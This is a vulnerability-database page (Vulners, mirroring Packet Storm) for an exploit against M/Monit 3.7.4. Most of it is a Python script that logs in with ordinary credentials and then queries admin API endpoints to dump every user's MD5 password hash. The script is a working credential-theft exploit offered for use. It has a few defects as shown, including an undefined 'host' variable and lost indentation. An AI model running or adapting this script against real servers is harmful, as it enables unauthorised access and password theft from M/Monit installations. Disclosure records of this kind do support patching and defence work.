Lucene search
K

M/Monit 3.7.4 Password Disclosure

🗓️ 19 Nov 2020 00:00:00Reported by Dolev FarhiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 888 Views

M/Monit 3.7.4 Password Disclosure - Unauthorized Access via API

Code
`# Title: M/Monit 3.7.4 - Password Disclosure  
# Author: Dolev Farhi  
# Date: 2020-07-09  
# Vendor Homepage: https://mmonit.com/  
# Version : 3.7.4  
  
import sys  
import requests  
  
url = 'http://your_ip_here:8080'  
username = 'test'  
password = 'test123'  
  
sess = requests.Session()  
sess.get(host)  
  
def login():  
print('Attempting to login...')  
data = {  
'z_username':username,  
'z_password':password  
}  
headers = {  
'Content-Type':'application/x-www-form-urlencoded'  
}  
  
resp = sess.post(url + '/z_security_check', data=data, headers=headers)  
if resp.ok:  
print('Logged in successfully.')  
else:  
print('Could not login.')  
sys.exit(1)  
  
def steal_hashes():  
resp = sess.get(url + '/api/1/admin/users/list')  
if resp.ok:  
for i in resp.json():  
mmonit_user = i['uname']  
result = sess.get(url + '/api/1/admin/users/get?uname={}'.format(mmonit_user))  
mmonit_passw = result.json()['password']  
print('Stolen MD5 hash. User: {}, Hash: {}'.format(mmonit_user, mmonit_passw))  
  
if __name__ == '__main__':  
login()  
steal_hashes()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Nov 2020 00:00Current
7.4High risk
Vulners AI Score7.4
888